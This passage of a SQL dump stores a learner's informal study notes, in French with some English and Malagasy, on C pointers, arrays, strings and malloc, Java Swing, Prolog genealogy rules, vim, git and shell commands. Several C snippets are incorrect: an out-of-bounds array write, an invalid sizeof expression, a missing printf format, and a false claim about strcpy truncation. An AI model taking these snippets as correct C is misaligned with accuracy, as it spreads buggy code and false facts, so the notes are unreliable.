ptr_pointeurSurAge,\n    printf(\"val_age__venant__de_pointeurSurAge: \", *pointeurSurAge);\n    // 10\n\nqui dit:\n    printf + *ptr\ndit qu_il y a une autre variable, dont tu dois savoir\n\n\n\n\n\n\n\nenvoier un ptr a une fonction\n===================================\nalors la var qui est envoiee sur la fct sera changee\n    meme apres avoir sorti du fonction\n\nex:\n    #include....\n    fct_ptr(int*);   // prototype\n        // ceci genere un erreur si t_as fait\n        //      fct_ptr(int);\n    \n    main(){                                   main(){\n        int a = 8;                                int a = 8;\n        fct_ptr(&a);             -OR-             int *ptr = &a;\n        printf(\"a: %d\", a);                       fct_ptr(ptr);\n    }                                             printf(\"a: %d\", a);\n|                              |              }\n+--+---------------------------+\n   +--ifk: aleo ti irai iti no apiasaina\n    \n    fct_ptr(int *a){   --+----- qui dit ptr dit addr\n        *a = *a + 10;    |        on continue a utiliser le ptr\n    }                  --+        meme apres la declaration sur arg\n\n\nfor a pointer to pointer\n    main(){\n        ...\n        char **ptr = NULL; \n        char *p = NULL; \n        char c = \'d\'; \n        \n        p = &c;\n        ptr = &p; \n\n        printf(\"\n c = [%c]\n\",c);              // c = [d]\n        printf(\"\n *p = [%c]\n\",*p);            // c = [d]\n        printf(\"\n **ptr = [%c]\n\",**ptr);      // c = [d]\n        ...\n    }\nhere how it is in the memo:\n                                        -+\n            +--- 2000     +-- 1000       +-+\n            |             |             -+ |\n  +-----+   |  +-----+    | +---+          |\n  | ptr |   |  | p   |    | | c |          |\n  |     |   |  |     |    | |   |          +- here are the\n  | 2000| <<+  | 1000| <--+ | d |              @memo\n  +-----+      +-----+      +---+\n\n\n\n\n\non a \n    int a = sizeof(int);\n        // a = 4\n        //  qui veut dire que un var int occupent 4octets dans memo\n    // donc\n    int b = 5; est de la forme suivante dans la memo:\n\n           addr      |  val\n        -------------+------------\n           ....      |\n                     |\n           16000     | +------+\n               1     | |  5   |\n               2     | |      |\n           16003     | +------+\n                     |         \n           ....      |\ndonc si un tableau de int a 100elts alors\n    la tableau va occuper 100*4octets dans la memo\n    meme si le tableau est vide,\n        car la place est reservee\n','2015-03-09 15:21:29'),(942,'#c_pr -structure -intro',NULL,NULL,'\nc un assemblage de variables qui peuvent avoir différents types\n\ngénéralement définies dans les fichiers .h\n\nex:\n    struct NomDeVotreStructure\n    {\n        int variable1;\n        int variable2;\n        int autreVariable;\n        double nombreDecimal;\n    };\n\n\n\n\n\nsupposons une structure qui va stocker des info concernant des point:\n    struct Point {\n        char couleur[100];\n        int x;\n        int y\n    };\ndans main(), on peut faire\n    {\n        ...\n        struct Point p00;\n        ...\n    }\nmais on veut faire\n{\n    ...\n    Point p00;\n    ...\n}\npour se faire\n    typedef struct Point Point;\n    // telqu_elle l_est, pas faux du tout\n\n\n\n\nmaintenant on peut faire:\n{\n    Point p00;\n    p00.x = 5;\n}\n\n\n\n\n\nstucture Point restant le meme:\non peut faire;\nmain() {\n    ...\n    Point x;\n    strcpy(x.color, \"red\");\n    ...\n}\n','2015-03-09 04:33:40'),(943,'#c_pr -file -intro -long-list',NULL,NULL,'\n\nFILE* fichier = NULL;\nfichier = fopen(\"test.txt\", \"r+\");\n\n','2015-03-08 19:21:02'),(944,'#c_pr -tableau -array -intro -long-list',NULL,NULL,'\nLes tableaux sont une suite de variables de même type, situées dans un espace contigu en mémoire.\n\nsupposons il y a un tableau dont le contenu est:\n    4, 6, 8, 1\n    \'\n    sa representation dans la memo est:\n\n    addr          |     val\n -----------------+--------------\n    1600          |     4                 <<--+  <-+\n    1601          |     6                     |    |\n    1602          |     8                     |    |\n    1603          |     1                     |    |\n                                              |    |\non ne peut pas faire des tableaux qui contient|a la|fois\n    int et double                             |    |\n                                              |    |\n                                              |    |\n                                              |    |\ncreation:                                     |    |\n    int tableau00[4];                         |    |\n    tableau00[1] = 4;                         |    |\n    tableau00[2] = 6;                         |    |\n    tableau00[3] = 8;                         |    |\n    tableau00[4] = 1;                         |    |\nsi on fait                                    |    |\n    printf(\"%d\", tableau00);                  |    |\n    //  1600                       -----------+    |\nmais en faisant                                    |\n    printf(\"%d\", tableau00[0]) ;                   |\n    // 4                                  ---------+\nastuce,\n    pour connaitre la premiere valeur donc,\n    printf(\"%d\", *tableau00);\n\npour avoir la deuxieme valeur,\n    printf(\"%d\", tableau00[1]);\n    ou\n    printf(\"%d\", *(tableau00 + 1));\n\n\ninitialisation tableau\n    int tableau[4] = {85, 0, 64, 40};\n    //                0   1   2   3     :   index\n    \'\n    ou bien utiliser la boucle for\n\n\npour avoir la taille du tableau(tab00)\nint tab00[] = {\n        1, 4, 6\n    };\nint a = sizeof(tab00)/sizeof(tab00[0]);\n            ^^^^^         ^^^\n            |||||          |\n            |||||          +----- u divide it by the size of the array element.\n            |||||\n            +++++----- determine size of array in bytes\n    // a = 3\n\npour faire une tableau de taille dynamique\n    de int:\n        au lieu de:\n            int amis[] = int[nombreDAmis];\n        on fait:\n            int *amis = malloc(nombreDAmis * sizeof(int));\n    de double\n        int *amis = malloc(nombreDAmis * sizeof(int));\n','2015-03-08 23:19:32'),(945,'#c_pr -string -intro -long-list',NULL,NULL,'it is better that if u want to do manipulation of str in c\n    then load \n        #include <string.h>\nstring en c est un tableau de char\n\nchar str[] = \"salut\";\n    sa representation en memo est:\n    \'\n     addr        |       val        +-- tt str en c se \n   --------------+---------------   |     termine par\n     18000       |       s       +--+     ce char (\\0)\n     18001       |       a       |\n     18002       |       l       |\n     18003       |       u       |\n     18004       |       t       |\n     18005       |       \\0   <-+\n\n\n\n\n\n\nhere are some functions which u can use for managing the string\n========================================\nsuppose that \n    char[] txt=\"this is a test\";\n\nto get the length\n    int length = strlen(txt);\n\nto concat 2str\n    char chaine1[100] = \"Salut \", \n    chaine2[] = \"Mateo21\";\n    \'\n    strcat(chaine1, chaine2);\n    // chaine1 = Salut Mateo21\n\nto build a str01 from another str00\n    char chaine[100];\n    int age = 99;\n    sprintf(chaine, \"Tu as %d ans !\", age);\n    // chaine = Tu as 99 ans\n\n\nto copy a string\n    char str[100];\n    strcpy(str, \"Hello\");\n    \'\n    this next one is not yet ok\n    strcpy(str, \"this is a test\");\n    // str will be set as \"this\"\n    //      only\n','2015-03-09 09:07:43'),(946,'#c_pr -scanf-string',NULL,NULL,'\nchar prenom[100];\nprintf(\"prenom: \");\nscanf(\"%s\", prenom);\n','2015-03-08 22:39:49'),(947,'#c_pr -preprocesseur',NULL,NULL,'\ninclude\n   peut inclure des fichier .h\n    peut inclure des fichier .c\n    \'\n    si fichier alors\n        #include \"fichier00.x\"\n        ex:\n            #include \"fichier00.c\"\n            #include \"fichier00.h\"\n#end_include\n\n\ndefine\n    c pour definir une constante de preprocesseur\n    \'\n    ex:\n        #define nb_vie_init 3\n#end_define\n','2015-03-09 08:33:25'),(948,'#vim -cvim -plugin',NULL,NULL,'\nhttp://www.thegeekstuff.com/2009/01/tutorial-make-vim-as-your-cc-ide-using-cvim-plugin/\n\nto change the info when u create a c_file with vim\n    > vim ~/.vim/c-support/templates/Templates\n\nwhen u want to add a function \n    \\if\n\nto insert a main function\n    \\im\n\nto insert a block of comment\n    \\cfr\n\n\nto run the prg00.c\n    \\rr\n','2015-03-09 07:02:56'),(949,'#vim -ctagi-taglist -intro',NULL,NULL,'\nhttp://www.thegeekstuff.com/2009/04/ctags-taglist-vi-vim-editor-as-sourece-code-browser/\n\ninstall\n    apt-get install exuberant-ctags\n\ngenerate ctags for the source_code\n    ctags *.c\n\nvim prg00.c\n    :ta main\n    // to go in the function main\n\n<c-]> to go in the definition of the function just under the cursor\n<c-t> to go back, to revert <c-]>\n\nto go in function which the name start by: get\n    :ta /^get\n\nto show the all function\n    :ts\n','2015-03-09 06:52:45'),(950,'#linux -wget -intro',NULL,NULL,'\nwget is a tool with which u can dl files from internet\n\nto dl some link and to continue if it stopped\n	wget -c link00\n\nto dl sth and put the dldd file into dldd00.file\n	wget -O dldd00.file link00\n','2015-03-09 06:56:23'),(951,'#linux -rm -long-list',NULL,NULL,'\nto delete everything except file00 and file01\n    shopt -s extglob\n    rm -rf !(file00|file01)\n','2015-03-09 08:11:07'),(952,'#vim -get-filename-diplayed-persistantly',NULL,NULL,'\nset laststatus=2\nset statusline+=%F\n','2015-03-09 08:51:05'),(953,'#linux -cat',NULL,NULL,'\nto make cat printing the line_number:\n    cat -n file00\n','2015-03-09 12:33:44'),(954,'c_pr -malloc-free -memo-manage',NULL,NULL,'\nceci doit etre lu apres avoir compris (941)\n\nappeler malloc pour demander de la mémoire ;\nune fois qu\'on a fini d\'utiliser la mémoire, on doit la libérer avec free\n    Si on ne le fait pas, on s\'expose à des fuites de mémoire\n    ie, le prg risque de prendre bcp de memo alors au_il utilise que tre pE\n\n       void*  malloc(      )    +--nb d_octets qu_on veut\n       |   |         |    |     |    ex: sizeof(3*int); si on vE 3int dans notre table\n       +---+         +----+-----+\n       |\n       +--c l_addr de memo que l_os a \n            choisi de reservee \n\nint *memoAllocated = malloc(sizeof(int));\n       ^++-------+\n                 |\n-------------+   |\nmemoAllocated| <-+          addr       |    val\n             |             ------------+------------\n18931    ------------>>     18931      |   +----+  ----+---tng d blongany, ka raha \n-------------+                  2      |   |    |      |     voafafa ny val am 18931\n                                3      |   |    |      |     dia voafafa iti blongany\n                                4      |   +----+  ----+            ity\n                                       |\n                                                               \npossible que l_allocation a echouee -->>> memoAllocated = NULL \n                  \n\n                         +----- @memo a effacer\n                         |\n                         |\n       void free(   )    |\n                 | |     |\n                 +-+-----+\n\nla precedente programme doit etre suivi par:\n    free(memoAllocated);\n\n','2015-03-09 16:02:32'),(955,'#c_pr -exo -pointer',NULL,NULL,'\ntu dois comprendre(941, 954)\n\nsujet:\n    1   demander à l\'utilisateur combien il a d\'amis ;\n    2   créer un tableau de int ayant une taille égale à son nombre d\'amis (via malloc) ;\n    3   demander l\'âge de chacun de ses amis un à un, qu\'on stocke dans le tableau ;\n    4   afficher l\'âge des amis pour montrer qu\'on a bien mémorisé tout cela ;\n    5   à la fin, puisqu\'on n\'a plus besoin du tableau contenant l\'âge des amis, le libérer avec la fonction free.\n\n1                                                               1111               55555       <<<<-----addr du var du dessous\n                                                             +-------+          +------------+            |\n    printf(\"combien d_amis? : \");                            |nb_amis|          |tbl_age_amis|      addr  |  val\n    scanf(\"%d\", &nb_amis);                                   |       |          |            |    --------+-------\n                                                             |   3   |          |   2222 ------>>   2222  |  +--+\n2   int *tbl_age_amis = malloc(nb_amis * sizeof(int));       +-------+          +------------+         3  |  |  |\n                                                                                                       4  |  +--+\n3   for(i = 0; i < nb_amis; i++){                                                                                \n        printf(\"age_amis[%d]: \", i);        +---------- ceci est d_apres sdz(matthieu)                       \n        scanf(\"%d\", &tbl_age_amis[ i ]);    |      selon moi *(tbl_age_amis + (i * sizeof(int) ) );\n    }               |                |      |\n                    +-+--------------+      |\n                      +---------------------+\n\n\n4   for (i = 0; i < nb_amis; i++){\n        printf(\"%d ans\\n\", ageAmis[i]);\n    }\n\n5   free(ageAmis);\n','2015-03-09 17:00:36'),(956,'#java -surcharge-constructeur',NULL,NULL,'\npublic constructor(int a, int b, int c){      <<---+\n    ...                                            |\n}                                                  |\n                                                   |\npublic constructor(int a) {      <<<--+            |\n    this(a, 0, 6);  -------ceci fait--|--appel a---+\n    ...                               |\n}                                     |  sache que this()\n                                      |     doit se mettre \npublic constructor(){                 |     en premiere ligne\n    this(8);          ----------------+\n    ...\n}\n','2015-03-09 19:05:50'),(964,'#java -applet -intro',NULL,NULL,'\nJApplet est comme JFrame mais dans|pour un fichier .html \n\ndans JApplet, il n_y a pas de\n    defjfr de mon netbeans\n        setTitle\n        setDefaultCloseoperation\n        setLocationRelativeTo\n        \'\n        setVisible\n\nle code le plus simple d_un applet\n    import javax.swing.* ;\n    public class PremApp extends JApplet\n    { \n        public PremApp ()\n        {}\n    }\n\ntu peux le faire executer en faisant \n    Run_file\nmais tu peux aussi le faire executer en l_introduisant dans un fichier00.html\n    sachant fichier00.html se trouve dans le meme dossier que le PremApp.class\n    \'\n    <HTML>\n    <BODY>\n    <APPLET\n        CODE = \"PremApp.class\"\n        WIDTH\n        = 350\n        HEIGHT = 100\n    >\n    </APPLET>\n    </BODY>\n    </HTML>\n\n\nlayout par defaut:\n    BorderLayout\n\n_________attention____________\nmeth init de JApplet est exe automatiquement lors \n    du lancement de l_applet\n\'\npour creer l_objet utiliser correspondant\n    n_utiliser pas le constructeur \n    utliser la methode init de JApplet\n\nclass extJApplet{\n    ...\n    @Override\n    public void init()\n    { ... }\n    ...\n}\n\nchaque fois que l_applet n_est plus visible\n    public void stop() { ... }\n    est exe\nqd l_applet redevient visible\n    public void start() { ... }\n    est exe \n\nmeth destroy() est exe qd l_applet a terminer son execution:\n    lorsque l_user quitte le navigateur qui l_a exe\n    en fermant le visualisateur de l_applet\n','2015-03-12 06:08:29'),(959,'#java -array-list',NULL,NULL,'\nc tres pratique\nifk: \n    on p le considerer comme un tableau qui n_a pas de limite\n\non peut tous ce qu_on veut dans arraylist, meme null\n\nArrayList arraylist = new ArrayList(); \narraylist.add(12);  \n... // tout donnee que tu veux\n\n                                       +--\n                                       | pour avoir l_elt qui se place\n                                 +-----+   sur le 4em insertion de l_arraylist\n\'                               |     +--\nObject obj =               -+----+\n    arraylist.get(4);      -+\n','2015-03-09 23:07:11'),(960,'#prolog -exo -lattice -long-list',NULL,NULL,'\nhttp://www.lattice.cnrs.fr/sites/itellier/Prolog/corriges.php?td=1                                                                                                                                                                                     [9/40]\n\nbut: ø definir arbre genealogique\n        ø lui poser des questions\n==============================================================\n\npour faciliter, noms commencent par \"a\" pour ancetre de plus haut niveau\n    \"b\" pour l_ancetre suivant\n    ainsi de suite\n    \'\n    ex:\n        andre+augustine:\n         +- bernard+becassine\n         |   +- clement+chantal\n         |       +- dudulle\n         |       +- damien\n         |       +- daniela\n         +- babar\n         |   +- celestine\n         +- brigite+baptiste\n             +- cedric+charlotte\n                 +- didier\n                 +- dagobert\n\ncodage des faits:\n===================================================\n/* les hommes */\nhomme(andre).\nhomme(bernard).\nhomme(babar).\nhomme(clement).\nhomme(dudulle).\nhomme(damien).\nhomme(baptiste).\nhomme(cedric).\nhomme(didier).\nhomme(dagobert).\n\n/* les femmes */\nfemme(augustine).\nfemme(becassine).\nfemme(brigitte).\nfemme(chantal).\nfemme(celestine).\nfemme(caroline).\nfemme(charlotte).\nfemme(daniela).\nfemme(dominique).\n\n/* les relations de parenté */\nenfant(bernard,andre).\nenfant(bernard,augustine).\nenfant(babar,andre).\nenfant(babar,augustine).\nenfant(brigitte,andre).\nenfant(brigitte,augustine).\nenfant(clement,bernard).\nenfant(clement,becassine).\nenfant(celestine,babar).\nenfant(caroline,brigitte).\nenfant(caroline,baptiste).\nenfant(cedric,brigitte).\nenfant(cedric,baptiste).\nenfant(dudulle,clement).\nenfant(dudulle,chantal).\nenfant(damien,clement).\nenfant(damien,chantal).\nenfant(daniela,clement).\nenfant(daniela,chantal).\nenfant(didier,cedric).\nenfant(didier,charlotte).\nenfant(dagobert,cedric).\nenfant(dagobert,charlotte).\nenfant(dominique,cedric).\nenfant(dominique,charlotte).\n\nattention\n        tout ce qui commence par une majuscule est une variable\n        dans les prédicats à 2 arguments\n            l\'ordre n\'est pas imposé par Prolog\n                ici, lien_parente(X,Y)\n                    signifie « X est lien_parente Y »\n                enfant(a, b)\n                    signifie \"a est enfant de b\" \n            l_ordre utilisé dans la définition doit être le même pour tous\n                meme dans les questions\n                pas de commutativité des arguments\n\n','2015-03-12 02:29:31'),(961,'#prolog -latticesuite(960)',NULL,NULL,'\npour avoir les listes de parentees:\n    enfant(X, Y).\n        X = bernard;   -+---- bernard est enfant de andre\n        Y = andre;     -+\n        \'\n        X = bernard;\n        Y = augustine;\n        ....\n\npour obtenir tout les couples possibles:\n    homme(X), femme(Y);\n        X = andre\n        Y = augustine ;\n        \'\n        ...\n\npour obtenir tout les couples possibles, et avoir ses enfants:\n    homme(X), femme(Y), enfant(Z, X), enfant(Z, Y);\n        X = andre\n        Y = augustine ;\n        \'\n        ...\n                                                    \nsi enfant(x,y)                                  ---+\n    alors parent(y,x)                           ---+---+\n    \'                                                 |\n    il y a parent(y, x) qui est en 2em place alors     |\n        sa traduction prolog est:                      |\n        parent(Y,X) :- enfant(X,Y).         -----------+\n\nd_apres le paragr juste precedemment\n    faisons :\n        parent (ou enfant, suivant le choix fait initialement)\n        fils, fille, père, mère\n        grand_parent, petit_enfant, grand_père, grand_mère, petit_fils, petite_fille\n        frere_ou_soeur, frère, soeur\n        oncle_ou_tante, oncle, tante\n        cousin_ou_cousine, cousin, cousine \n    ajoutes les lignes suivant aux faits du(960):\n################################################################################\n        /*regles*/\n        parent(Y,X) :- enfant(X,Y).\n        %\n        pere(X,Y) :- parent(X,Y),homme(X).\n        mere(X,Y) :- parent(X,Y),femme(X).\n        %\n        fils(X,Y) :- enfant(X,Y),homme(X).\n        fille(X,Y) :- enfant(X,Y),femme(X).\n        %\n        grand_parent(X,Y) :- parent(X,Z),parent(Z,Y).\n        grand_pere(X,Y) :- grand_parent(X,Y),homme(X).\n        grand_mere(X,Y) :- grand_parent(X,Y),femme(X).\n        %\n        petit_enfant(X,Y) :- grand_parent(Y,X).\n        petit_fils(X,Y) :-  petit_enfant(X,Y),homme(X).\n        petite_fille(X,Y) :-  petit_enfant(X,Y),femme(X).\n        %\n        frere_ou_soeur(X,Y) :- pere(P,X),pere(P,Y),mere(M,X),mere(M,Y),X\\==Y.\n        frere(X,Y) :- frere_ou_soeur(X,Y),homme(X).\n        soeur(X,Y) :- frere_ou_soeur(X,Y),femme(X).\n        %\n        oncle_ou_tante(X,Y) :- parent(Z,Y),frere_ou_soeur(X,Z).\n        oncle(X,Y) :- oncle_ou_tante(X,Y),homme(X).\n        tante(X,Y) :- oncle_ou_tante(X,Y),femme(X).\n        %\n        cousin_ou_cousine(X,Y) :- oncle_ou_tante(Z,X),enfant(Y,Z).\n        cousin(X,Y) :- cousin_ou_cousine(X,Y),homme(X).\n        cousine(X,Y) :- cousin_ou_cousine(X,Y),femme(X).\n\n\n\n\n\n\n\nRègle récursive.\n==========================================================\n\"être un ancêtre de\"\n    ancetre(X,Y) :- parent(X,Y).\n    ancetre(X,Y) :- parent(X,Z),ancetre(Z,Y).\n\ndonc,\n    ancetre(andre, daniela).\n        yes\n    ancetre(andre, dagobert).\n        no\n    ancetre(X, daniela).        X est ancetre de daniela\n        X = clement;\n        X = chantal;\n        X = bernard;\n        ...\n\npour qlq exo voir draft(48);\n','2015-03-12 09:30:28'),(962,'#prolog -lattice suite(961)',NULL,NULL,'\npour afficher les nbr de 1 a n\n    decroissant\n        % on initialise tout d_abord\n        decroissant(0).\n        %\n        decroissant(N) :-\n            N>0, \n                % on ecrit la valeur de N\n            write(N), \n                % on fait a_la_ligne\n            nl, \n                % on decremente\n            N1 is N-1, \n                % on fait la recursivite\n            decroissant(N1).\n    \'\n    \'\n    croissant   (__attention__: difficile, recursivitee)\n        croissant(0).\n        croissant(N) :- N>0, N1 is N-1, croissant(N1), write(N), nl.\n    \'\n    _ici_, le \",\" n_est pas commutative\n        sinon le decroissant et le croissant seront egaux.\n\npour verifier si N est paire \n    pair(0).\n    pair(X) :- X>0, X2 is X-2, pair(X2).\n\nil y a encore des suites\n    http://www.lattice.cnrs.fr/sites/itellier/Prolog/corriges.php?td=1\n    ou (s_il est encore la dedans)\n    file:///root/.mozilla/firefox/zodegmda.default/ScrapBook/data/20150311051150/corriges_001.html\n','2015-03-12 04:08:24'),(963,'#prolog -lattice -liste',NULL,NULL,'\nde preference, a lire apres avoir lu(962)\n\npour afficher une liste (en ordre normale)\n    a mettre dans les faits et regles\n        affiche([]).\n            % on initialise, on ne fait rien si la liste est vide(ifk)\n        affiche([X|R]) :-\n        %   X est le premier elt de la liste\n        %   R designe les_elt apres le premier_elt\n            write(X), \n            nl, \n            affiche(R).\n    \'\n    on le charge puis a faire dans le prompt de prolog.\n        affiche([5, 9, 1, 7]).\n        // out\n            5\n            9\n            1\n            7\n\npour afficher une liste en ordre inverse.\n    affiche2([]).\n    affiche2([X|R]) :- affiche2(R), write(X), nl.\n    puis dans le prompt\n        affiche2([])\n','2015-03-12 09:33:33'),(965,'#java -keylistener',NULL,NULL,'\ninterface KeyListener{\n    public void keyPressed(KeyEvent e) {}   -+--ceci sont les plus utilisees\n    public void keyReleased(KeyEvent e) {}  -+\n    public void keyTyped(Keyxxxx) {}\n}\n\nles codes suivant sont a mettre dans meth(keyPressed|keyReleased)\n    pour avoir le code de touche appuiee\n        int code = e.getKeyCode() ;\n    \'\n    si on veut le tester avec d_autre touche\n        switch(code) {\n            case KeyEvent.VK_UP:    // pour plus (966)\n                 -----+---------\n                      |\n                      +---ceci peut varier d_une touche a une autre\n                System.out.println(\"up\");\n                System.out.println(\"another line\");\n            break;\n            case ....\n            default:\n                System.out.println(\"not yet implemented\");\n                System.out.println(\"\"nother line);\n        }\n    pour avoir le char de touche appuiee\n        char c = e.getKeyText(e.getKeyCode());\n\npour tester si on a appuiee sur <c-e>                                       <<<<<---------------------+\n    public void keyPressed(){                                                                         |\n        if ( (e.getKeyCode() == KeyEvent.VK_E)                  --ici pour tester qu_on a appuie \"e\" -+\n            &&                                                                                        |\n            ((e.getModifiers() & InputEvent.CTRL_MASK) != 0 )   --ici pour tester qu_on               |\n        )          ---+---------                                    a appuiee sur ctrl              --+\n                      |\n                      +---  ceci est un truc de bit\n\n        {\n            // action a faire qd <c-e> est appuiee\n        }\n    }\n','2015-03-12 08:21:21'),(966,'#java -vk -hit-touch','\nVK_0 à VK_9\nVK_NUMPAD0 à VK_NUMPAD9         sur pavee numerique\nVK_A à VK_Z                     \nVK_F1 à VK_F24\nVK_ALT\nVK_ALT_GRAPH\nVK_CAPS_LOCK\nVK_CONTROL\nVK_DELETE\nVK_DOWN\nVK_END\nVK_ENTER\nVK_ESCAPE\nVK_HOME\nVK_INSERT\nVK_LEFT\nVK_NUM_LOCK\nVK_PAGE_DOWN\nVK_PAGE_UP\nVK_PRINTSCREEN\nVK_RIGHT\nVK_SCROLL_LOCK\nVK_SHIFT\nVK_SPACE\nVK_TAB\n',NULL,NULL,'2015-03-12 08:09:48'),(967,'#java -clavier',NULL,NULL,'\n\nimport java.io.* ;\npublic class Clavier{ \n    public static String lireString () // lecture d’une chaine\n    { \n        String ligne_lue = null ;\n    try\n    {\n        InputStreamReader lecteur = new InputStreamReader (System.in) ;\n        BufferedReader entree = new BufferedReader (lecteur) ;\n        ligne_lue = entree.readLine() ;\n    }\n    catch (IOException err)\n    { System.exit(0) ;\n    }\n        return ligne_lue ;\n    }\n\n    public static float lireFloat () // lecture d’un float\n    {\n         float x=0 ; // valeur a lire\n        try\n        { String ligne_lue = lireString() ;\n        x = Float.parseFloat(ligne_lue) ;\n        }\n        catch (NumberFormatException err)\n        { System.out.println (\"*** Erreur de donnee ***\") ;\n            System.exit(0) ;\n        }\n        return x ;\n    }\n\n    public static double lireDouble () // lecture d’un double\n    {\n        double x=0 ; // valeur a lire\n        try\n        {\n            String ligne_lue = lireString() ;\n            x = Double.parseDouble(ligne_lue) ;\n        }\n        catch (NumberFormatException err)\n        { \n            System.out.println (\"*** Erreur de donnee ***\") ;\n            System.exit(0) ;\n        }\n        return x ;\n    }\n    public static int lireInt ()\n    // lecture d’un int\n    {\n        int n=0 ; // valeur a lire\n        try\n        { String ligne_lue = lireString() ;\n        n = Integer.parseInt(ligne_lue) ;\n        }\n        catch (NumberFormatException err)\n        { System.out.println (\"*** Erreur de donnee ***\") ;\n        System.exit(0) ;\n        }\n        return n ;\n    }\n}\n\n','2015-03-12 08:52:45'),(968,'#java -tray-icon',NULL,NULL,'\npour tester que le sys present supporte tray icon par java.\n    boolean b = SystemTray.isSupported();\n\nTrayIcon tic1 = new TrayIcon (\n    image1, \"PourInfo_Bulle_Icone_Rouge\") ;\n    |\n    +>> Image image1 = \n            im1.getImage();\n            |\n            +-> ImageIcon im1 = new ImageIcon (\"rouge.gif\") ;\n\nalors,\n    ImageIcon im1 = new ImageIcon (\"rouge.gif\") ;                               \n    Image image1 = im1.getImage();                                              \n    TrayIcon tic1 = new TrayIcon (image1, \"PourInfo_Bulle_Icone_Rouge\") ;   <--+\n                                                                               |\npuis on prend, l_emplct par ou on met le tray                                  |\n    SystemTray tray = SystemTray.getSystemTray();       <<--+                  |\net on ajouter notre tray_icon dans l_emplct                 |                  |\n    \'   +--------------------------------------------------+                  |\n    \'   |     +---------------------------------------------------------------+\n      v--+     v\n    tray.add(tic1) ;\n\non peut supprimer un tray par \n    tray.remove(tic1);\n','2015-03-12 09:04:51'),(969,'#java -introspection-annotation',NULL,NULL,'\nintrospection permettent d_analyser les caracteristiques d_une classe\n    pdt l_execution\n    pdt l_execution\n\nil y a type Class\n    dont les instances sont des classes\n','2015-03-12 09:27:58'),(970,'#prolog -exo',NULL,NULL,'\nDire si un nombre est pair. \nTrouver la somme des N premiers entiers.\nTrouver la factorielle d\'un nombre.\nfibo(N,X),\ncombinaison(N, P, C),\n','2015-03-12 09:39:49'),(971,'#definition -automate','\nautomate est constituee de:\n    vocabulaire fini:\n        ce sera l_ensemble des mots autorisees dans les questions.\n    ensemble finit d_etats\n        au moins un etat initial\n        au moin un etat final\n    ensemble fini de transitions:\n        c ici le tres difficile hein\nun automate est un cas particulier de graphe\n',NULL,NULL,'2015-03-12 15:18:13'),(972,'#prolog -td -question-genealogique',NULL,NULL,'\npour tester si la phrase comme\n    qui est le frere de babar\n               neveu de bernard\nest vrai au fausse\n\n                                    +---le--->  4 -----frere----+  +---d----->   7 ---andre------+\n                                    |           +-neveu-+       |  |             +--bernard-+    |\n                                    |                   |       v  |                        |    v\n   ----->>  1 ---qui--> 2 ---est--->3                   +-----> 6--+                        +--> 9 ------>> \n                                    |                   |       ^  |                        |    ^\n                                    |                   |       |  |                        |    |\n                                    |           +-oncle-+       |  |             +--babar---+    |\n                                    +----l--->  5 ---ancetre----+  +---de---->   8 ----caroline--+\n\ncertains relations ne sont pas mis en place pour ne pas alourdir\n    le schema\n\nde l_etat1 a l_etat# (etat3 est le nouveau depart)\n\'\netat1([qui,est|L]) :- \n    etat3(L).\netat3([])\n\n\npour emboiter les liens de parentee\n\n                                                +--------du----------+\n                                                v                    |\n                                    +---le--->  4 -----frere----+    |         +---d----->   7 ---andre------+\n                                    |           +-neveu-+       |    |         |             +--bernard-+    |\n                                    |                   |       v    |         |                        |    v\n   ----->>  1 ---qui--> 2 ---est--->3                   +-----> 6 ---+   ------+                        +--> 9 ------>> \n                                    |                   |       ^              |                        |    ^\n                                    |                   |       |              |                        |    |\n                                    |           +-oncle-+       |              |             +--babar---+    |\n                                    +----l--->  5 ---ancetre----+              +---de---->   8 ----caroline--+\n                                                ^                                            |\n                                                +---------------------l----------------------+\n\n\n\n','2015-03-12 15:49:36');
+INSERT INTO `notes_tech` VALUES (1,'#crontab do not forget to add ; after all command in crontab',NULL,'not mentioned',NULL,'0000-00-00 00:00:00'),(2,'#git hooks in git is used for scripting about the local repo',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(3,'#git #central #important files:HEAD index objects refs',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(4,'#git #refs stocke les pointeurs vers les objets',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(5,'#git #head pointe sur le branche qui est en cours',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(6,'#if [ -z \"$1\" ]','true if $1 is null','not mentioned',NULL,'2015-02-07 06:36:13'),(8,'#if [ -n \"$1\" ]','this is true if $1 is NOT null','not mentioned',NULL,'2015-02-07 06:36:13'),(9,'#mysql #for a in $(mysql_out_w/only_one_col) ; do ..... ; done','this is how to #scan a result of mysql_select\n  ex:\n    for valXX in $(msql \"select note from notes;\")\n    do\n      echo $valXX\n    done\n','not mentioned',NULL,'2015-02-07 06:36:13'),(10,'#scrb #policy #var_name','\nthose are some policy for variable name in #bash\n  error_var have to start with e_xxx\n','not mentioned',NULL,'2015-02-16 18:23:44'),(11,'#scrb #policy #body_of_script','\n\nshabang\nsome description of the script\nvariables which will be used in the body of the script\ntreat the error which can be caught by the script like error in argument\n....\nbody\n....\nexit X\n','not mentioned',NULL,'2015-02-16 18:23:44'),(12,'#git #reset #commit but _without_ changing the modification in file',NULL,'git reset HEAD^',NULL,'2015-02-07 06:36:13'),(13,'#git #reset #commit WITH cancelling the modification in file',NULL,'git reset --hard HEAD^',NULL,'2015-02-07 06:36:13'),(15,'#git #cancel #add in tracking',NULL,'git reset HEAD -- file00',NULL,'2015-02-07 06:36:13'),(16,'#git #revert','if u made a push to the server\n  it is not possible to cancel definetely that push\n  u have to make a new push which revert the previous push','git revert 45444cz',NULL,'2015-02-07 06:36:13'),(17,'#git #branch #create',NULL,'git branch new_branch00',NULL,'2015-02-07 06:36:13'),(18,'#git #branch #utility #query','\nbranch: il y a des modification que vous voulez faire mais vous n_etes pas sure des modification...... \n1-stoppez et commitez par la ou vous etes sures que le code marche....\n2-creez une branche (@this__id_n_t=17)....\n3-passez dans une autre branche grace a\n	git checkout branch00\n','not mentioned',NULL,'2015-02-02 15:24:44'),(19,'#git #branch #fusion #merge','\npour fusionner une branch00 avec branche master.....\n	va dans la branch _master_ d_abord\n		git checkout master\n	faite la fusion\n		git merge branch00\n','git merge branch00',NULL,'2015-02-02 15:21:05'),(20,'#git #branch #delete ','\nu did a fusion to branch00 to branch_master\nu want to delete branch00(__git branch -d branch00__)','git branch -d branch00',NULL,'2015-02-02 15:43:05'),(21,'#git #branch #check ','\nto see what are the branch which are in ur repo','git branch',NULL,'2015-02-07 06:36:13'),(22,'#git #branch #delete without merging to master ',NULL,'git branch -D branch00',NULL,'2015-02-02 